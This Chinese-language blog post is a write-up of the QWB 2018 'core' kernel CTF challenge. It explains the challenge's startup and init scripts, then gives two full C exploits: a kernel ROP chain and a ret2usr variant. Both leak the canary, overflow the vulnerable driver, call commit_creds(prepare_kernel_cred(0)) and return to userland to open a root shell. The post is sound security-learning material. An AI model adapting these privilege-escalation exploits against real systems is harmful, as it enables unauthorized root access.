kernel ROP
2022-05-02 14:01
513 查看
#kernel ROP
借助
qwb-2018 core这道题目来熟悉一下,kernel
rop及
ret2usr
首先看一下启动脚本
发现没有开什么保护,只开了一个
kaslr,为了方便调试我们在这里把它改成
nokaslr关闭即可。
再来看一下
init文件
看一下这个里面的几行命令是什么意思
1、
mount的作用是将分区挂到某个文件夹下,这样我们只要访问这个文件夹就相当于访问了那个分区。
2、下面的 chomd 666 /dev/ptmx 的意思是 /dev/ptmx 可读写但不可执行
3、
cat /proc/kallsyms > /tmp/kallsyms是将
/proc/kallsyms复制到
/tmp/kallsyms里
4、
echo 1 > /proc/sys/kernel/kptr_restrict的作用是使得普通用户无法从
/proc/kallsyms获取到函数的地址,这里给出权限描述:
但是上面已经将
/proc/kallsyms复制到
/tmp/kallsyms中,故对我们获取地址并没有什么影响,并且本题也并不一定要从这里获取地址。
5、下面几行是搭建网桥
6、
insmod /core.ko是指加载
./core.ko这个驱动,我们的
kernel题目中,漏洞一般都出现在驱动当中
7、
setsid /bin/cttyhack setuidgid 1000 /bin/sh是启动时给我们的权限是普通用户,一般为了方便调试我们可以把它替换为
setsid /bin/cttyhack setuidgid 0 /bin/sh,这样会方便我们查看
qemu里的一些地址。
8、
umount命令是手动卸载(分离)某个文件文件系统
9、
poweroff -d 0 -f的作用是强制关闭电源并且不把记录写进
/var/log/wtmp里
####rop
#include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> size_t vmlinux_base, offset, commit_creds, prepare_kernel_cred; size_t user_cs, user_ss, user_sp, user_rflags; size_t raw_vmlinux_base = 0xffffffff81000000; size_t rop[0x100] = {0}; size_t user_buf[8] = {0}; void save_status() { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); } void get_shell() { if (getuid() == 0) { system("/bin/sh"); } else { puts("[-] get shell error"); exit(1); } } int find_symbols() { char buf[0x40]={0}; FILE *fd = fopen("/tmp/kallsyms","r"); if(fd == 0) { puts("[-] open /kallsyms error"); exit(0); } while(fgets(buf, 0x40, fd)) { if(commit_creds && prepare_kernel_cred) { printf("[+] find commit_creds: %p\n", commit_creds); printf("[+] find prepare_kernel_cred: %p\n", prepare_kernel_cred); return 0; } if(strstr(buf, "commit_creds") && !commit_creds) { char ptr[0x20]={0}; strncpy(ptr, buf ,16); sscanf(ptr, "%lx", &commit_creds); } if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) { char ptr[0x20]={0}; strncpy(ptr, buf ,16); sscanf(ptr, "%lx", &prepare_kernel_cred); } } return 0; } void main() { save_status(); int i = 0; int fd = open("/proc/core",2); if(fd == 0) { puts("[-] open file error"); exit(0); } find_symbols(); vmlinux_base = commit_creds - 0x9c8e0; size_t offset = vmlinux_base - 0xffffffff81000000; ioctl(fd, 0x6677889C, 0x40); ioctl(fd, 0x6677889B, user_buf); for(i=0;i<8;i++) printf("%d: %p\n", i, user_buf[i]); size_t canary = user_buf[0]; printf("[+] find canary: %p", canary); i = 8; //commit_creds(prepare_kernel_cred(0)) rop[i++] = canary; rop[i++] = 0; //rbp rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret; rop[i++] = 0; rop[i++] = prepare_kernel_cred; rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret; rop[i++] = commit_creds; rop[i++] = 0xffffffff811ae978 + offset; // mov rdi, rax; jmp rcx; rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret; rop[i++] = 0; rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; rop[i++] = (size_t)get_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd, rop, 0x100); ioctl(fd, 0x6677889A, 0x100 | 0xFFFFFFFFFFFF0000); }
####ret2usr
#include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> size_t vmlinux_base, offset, commit_creds, prepare_kernel_cred; size_t user_cs, user_ss, user_sp, user_rflags; size_t raw_vmlinux_base = 0xffffffff81000000; size_t rop[0x100] = {0}; size_t user_buf[8] = {0}; void save_status() { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); } void get_shell() { if (getuid() == 0) { system("/bin/sh"); } else { puts("[-] get shell error"); exit(1); } } void get_root() { char* (*pkc)(int) = prepare_kernel_cred; void (*cc)(char*) = commit_creds; (*cc)((*pkc)(0)); } int find_symbols() { char buf[0x40]={0}; FILE *fd = fopen("/tmp/kallsyms","r"); if(fd == 0) { puts("[-] open /kallsyms error"); exit(0); } while(fgets(buf, 0x40, fd)) { if(commit_creds && prepare_kernel_cred) { printf("[+] find commit_creds: %p\n", commit_creds); printf("[+] find prepare_kernel_cred: %p\n", prepare_kernel_cred); return 0; } if(strstr(buf, "commit_creds") && !commit_creds) { char ptr[0x20]={0}; strncpy(ptr, buf ,16); sscanf(ptr, "%lx", &commit_creds); } if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) { char ptr[0x20]={0}; strncpy(ptr, buf ,16); sscanf(ptr, "%lx", &prepare_kernel_cred); } } return 0; } void main() { save_status(); int i = 0; int fd = open("/proc/core",2); if(fd == 0) { puts("[-] open file error"); exit(0); } find_symbols(); vmlinux_base = commit_creds - 0x9c8e0; size_t offset = vmlinux_base - 0xffffffff81000000; ioctl(fd, 0x6677889C, 0x40); ioctl(fd, 0x6677889B, user_buf); for(i=0;i<8;i++) printf("%d: %p\n", i, user_buf[i]); size_t canary = user_buf[0]; printf("[+] find canary: %p\n", canary); i = 8; //commit_creds(prepare_kernel_cred(0)) rop[i++] = canary; rop[i++] = 0; //rbp rop[i++] = (size_t)get_root; rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret; rop[i++] = 0; rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; rop[i++] = (size_t)get_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; puts("debug"); getchar(); write(fd, rop, 0x100); getchar(); ioctl(fd, 0x6677889A, 0x100 | 0xFFFFFFFFFFFF0000); }
相关文章推荐
- VMare 9 Unable to open kernel device 错误解决方案整理
- 一个kernel crashBUG分析
- Android 如何利用proc有上层想kernel写文件
- 【VR9项目】LED功能实现(二):Kernel
- Selectively Hardening Software Application Components against Kernel-level or Process-level Malware
- android bootloader以及kernel调用driver流程
- Linux Driver with new kernel-3.8
- 在Ubuntu16.04-64中编译Linux-2.6.35.7版本内核出错[kernel/timeconst.h] Error 255
- kernel模块参数传递方法
- kernel 快速调试办法
- linux内核学习1 start_kernel()
- SVM Kernel Functions
- ubuntu 安装 kernel man pages
- 编写kernel的驱动模块的Makefile
- Linux kernel perf_events local root exploit
- virtualbox 启动时Kernel driver not installed (rc=-1908) 错误的解决方法
- Linux Kernel Makefiles
- kernel kworker debug
- 修改了kernel之后,每次重启后,就会出现kernel文件被破坏的情况
- 单独烧录kernel